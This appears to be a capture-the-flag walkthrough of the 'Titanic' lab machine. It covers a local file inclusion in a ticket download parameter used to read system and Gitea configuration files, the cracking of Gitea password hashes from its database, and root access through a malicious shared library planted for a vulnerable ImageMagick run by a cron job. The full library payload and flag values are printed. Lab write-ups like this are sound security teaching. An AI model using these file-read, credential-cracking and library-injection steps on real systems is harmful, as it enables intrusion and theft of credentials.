Titanic


Summary

A booking application on the web service suffers from a local file inclusion. Using this, we can enumerate the system and discover another domain, which hosts a Gitea instance. By retrieving the configuration file, we can find the database file of this application, download it, and crack the contained hashes. This enables us to get a foothold as a user.

After enumerating the system and using an external tool to detect actions on the file system, we notice a hidden cronjob, which executes a root owned shell script. Once it’s being run, it calls an outdated binary with a vulnerability, which we can use to inject a malicious library. Using this, we get arbitrary code execution as root.

Solution

Reconnaissance

Using Nmap, we can discover two open ports:

nmap -sC -sV 10.10.11.55 -p- -oN nmap.txt 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-16 11:20 CET
Nmap scan report for 10.10.11.55
Host is up (0.34s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Since the website on port 80 wants to forward us to titanic.htb, let’s add this domain to /etc/hosts. If we visit said website, we can see a website with a booking system for the Titanic.

Pasted image 20250217111926.png

If we click on Book Now at the top right, the site opens a pop-up window, which prompts us to fill in some information about the reservation. Once we submit the content, the site redirects us to /download?ticket=TICKETFILE.json, and downloads our ticket as a .json file.

User Flag

If we take a look at the redirect link, we can spot the parameter ticket, which points to a local file and returns it to us. In case the input is not sanitized, this may expose a local file inclusion vulnerability. In such a case, we can change the URL /download?ticket=file and instead request any file on the system. Let’s first check if this is the case by requesting a file we know exists, and which we have access to, such as /etc/passwd.

root:x:0:0:root:/root:/bin/bash
[...]
developer:x:1000:1000:developer:/home/developer:/bin/bash
[...]

We get a server response with the file’s content, meaning it works! We can also already identify to user account, which we need to target throughout this engagement: developer. At this point, we could already claim the user flag by requesting /home/developer/user.txt, however we can wait a little longer until we actually get a foothold.

Let’s continue the enumeration phase. Since we don’t have much information about the system’s file system, blindly digging through it doesn’t yield many results. However, /etc/hosts contains another domain, which we haven’t come across yet: dev.titanic.htb

HTTP/1.1 200 OK
Date: Sun, 16 Feb 2025 10:29:37 GMT
Server: Werkzeug/3.0.3 Python/3.10.12
Content-Disposition: attachment; filename="/etc/hosts"
Content-Type: application/octet-stream
Content-Length: 250
Last-Modified: Fri, 07 Feb 2025 12:04:36 GMT
Cache-Control: no-cache
ETag: "1738929876.3570278-250-324273100"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive



127.0.0.1 localhost titanic.htb dev.titanic.htb
127.0.1.1 titanic

[...]

After adding this domain to our own /etc/hosts file, we see that this domain contains a website, which we can reach externally. It runs an instance of Gitea, on which someone could manage git repositories.

Pasted image 20250217112103.png

Clicking on the Explore button at the top left, we can see two repositories by the user developer.

Pasted image 20250217112115.png

If we click through both repositories, we can notice, that flask-app corresponds to the web application we encountered before. However, it doesn’t reveal anything new about the application. The other repository contains docker-compose.yml files of both the Gitea instance and another mysql service, which likely runs locally. In the Gitea repository, the file contains the working path /home/developer/gitea/data, in which the application seems to reside.

version: '3'

services:
  gitea:
    image: gitea/gitea
    container_name: gitea
    ports:
      - "127.0.0.1:3000:3000"
      - "127.0.0.1:2222:22"  # Optional for SSH access
    volumes:
      - /home/developer/gitea/data:/data # Replace with your path
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always

Since the developer has an account on this service, it’s likely that the credential management system, such as a database, contains this user’s password. Maybe it is even the same for this machine’s SSH access. After checking Gitea’s installation instruction for docker , it tells us that Gitea stores it’s configuration files at gitea/conf/app.ini in the working directory. So let’s retrieve /home/developer/gitea/data/gitea/conf/app.ini and analyze the file.

APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git
WORK_PATH = /data/gitea

[...]

[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD = 
LOG_SQL = false
SCHEMA = 
SSL_MODE = disable

[...]

[security]
INSTALL_LOCK = true
SECRET_KEY = 
REVERSE_PROXY_LIMIT = 1
REVERSE_PROXY_TRUSTED_PROXIES = *
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8
PASSWORD_HASH_ALGO = pbkdf2

Gitea stores it’s database at gitea/gitea.db of the working directory. We also get the information, that this is a sqlite3, which stores passwords as pbkdf2 hashes. Let’s retrieve the file and open it.

wget titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db
sqlite3 gitea.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
[...]
label                      upload                   
language_stat              user                     
lfs_lock                   user_badge               
[...] 

There is a user table, which likely contains the information we are looking for. By using PRAGMA table_info(user);, we can get column names of the table, and query for the values we are interested in. In our case, it would be the user’s name, their password, the salt used for the hash, and the hash algorithm in question.

sqlite> select name,passwd,salt,passwd_hash_algo from user;
name           passwd                                                        salt                              passwd_hash_algo
-------------  ------------------------------------------------------------  --------------------------------  ----------------
administrator  cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d4  2d149e5fbd1b20cf31db3e3c6a28fc9b  pbkdf2$50000$50 
               59c08d2dfc063b2406ac9207c980c47c5d017136                                                                        

developer      e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b  8bf3e3452b78544f8bee9400d6936d34  pbkdf2$50000$50 
               7cbc8efc5dbef30bf1682619263444ea594cfb56                                                                        

staban         d9f2b80d57a9c7acc6dd3b8f825394898124862655ef444c17c2547376c9  ba5d8b4490d79eaaac366f9fd33826cd  pbkdf2$50000$50 
               e36e70c3020819996aff2a0c60a6c3fdc1268ee8                                                                        

hugo           7397d27f211f9e93a2df28e38c3b0fced25219787f600999043fae972fe8  6ef7d9ea7a9ab838212567aa6956e705  pbkdf2$50000$50 
               fad32d72dc94ae3d020761aa50c998b49a91384d                                                                        

test           f009e506c888ee4d9c0af696647e700a08fd7edf399f683039b94afeb45d  c83e6b3132b138d1ac2a9b2c0cb78cb2  pbkdf2$50000$50 
               26cc0634bce5e629c267abe4010ba5fb26040260

In contrast to other hash types, it’s not as straight forward to crack pbkdf2 hashes. However, it becomes easier if we take a look at Gitea’s documentation about passwords, as it reveals how we need to interpret the information in the passwd_hash_algo column: pbkdf2$<iterations>$<key-length>. After a bit of research about how to crack this hash, we can find a forum post, which gives us more information. The layout we need is the following:

sha256:<ITERATIONS>:<SALT>:<PASSWORD>

However, Gitea seemingly stores salts and hashes as hex values. So we first need to convert them from HEX, and then to base64, so we get a format Hashcat can work with. We can to this either with CLI binaries, or use Cyberchef. There is also a script, which can automate this entire process. After formatting the values appropriately, we can call Hashcat with the --user flag.

hashcat hash --user /usr/share/wordlists/rockyou.txt

[...]
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528
[...]

Now, we have credentials for the developer account: developer:25282528. Using them, we can log into the system via SSH and claim the user flag.

Pasted image 20250216140558.png

849da502e852f554a7e440b0acac81e8

Root Flag

The compromised development user does not have any special privileges, with which we could expand our access to the system. The only unusual thing we can witness, is the output, if we search for running processes.

ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
develop+    1154  4.4  0.9 1065020 35980 ?       Ss   Feb16  55:17 /usr/bin/python3 /opt/app/app.py
develop+    1658  0.2  4.5 1539332 179736 ?      Ssl  Feb16   2:57 /usr/local/bin/gitea web
develop+ 1592626  0.0  0.2  17064  9504 ?        Ss   10:19   0:00 /lib/systemd/systemd --user
develop+ 1592726  0.0  0.1   8776  5480 pts/0    Ss+  10:19   0:00 -bash
develop+ 1594568  1.0  0.1   8656  5488 pts/1    Ss   11:35   0:00 -bash
develop+ 1594576  0.0  0.0  10072  1572 pts/1    R+   11:35   0:00 ps aux

All the listed processes were started as the development user. Something is prohibiting us to see any process running for another user. We can circumvent this by using a binary, such as Pspy. If we run this application with its default options, still don’t find anything of use. However, if we add the -f flag, we also can an overview of any access to the file system made by any process. Enabling this flag makes the output very verbose, so we need to scour through it bit by bit. There seems to be some kind of hidden cronjob, which calls a script at /opt/scripts/identify_images.sh. Let’s check it out.

cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

There are three things to note. First, we script does not work with absolute paths, but changes the working directory to /opt/app/static/assets/images. Secondly, it calls the binary magick. Third, the script itself is owned by root. We can therefore not change the script, however it seemingly runs as root.

Pasted image 20250217124854.png

Let’s take a look at the binary, which the script executes and enumerate its version.

magick --version

Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)

A bit of research reveals, that this version of magick suffers from a vulnerability, allowing for arbitrary code execution, as we can see here. Essentially, the binary has a bad path definition, which allows us to inject a malicious library containing our code, if we can place it in the working directory, from which magick is being called. And after checking, we do have write permission to this folder! By following the PoC for this vulnerability, we can create the library as follows.

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cat /root/root.txt > root.txt");
    exit(0);
}
EOF

In this case, the payload read the root flag and writes it in the same folder, however we could also spawn any other command, such as a reverse shell. After we wait a little, root.txt appears in the folder, which we can claim.

Pasted image 20250216183356.png

b777d201dd488eb29c949a7cb5876293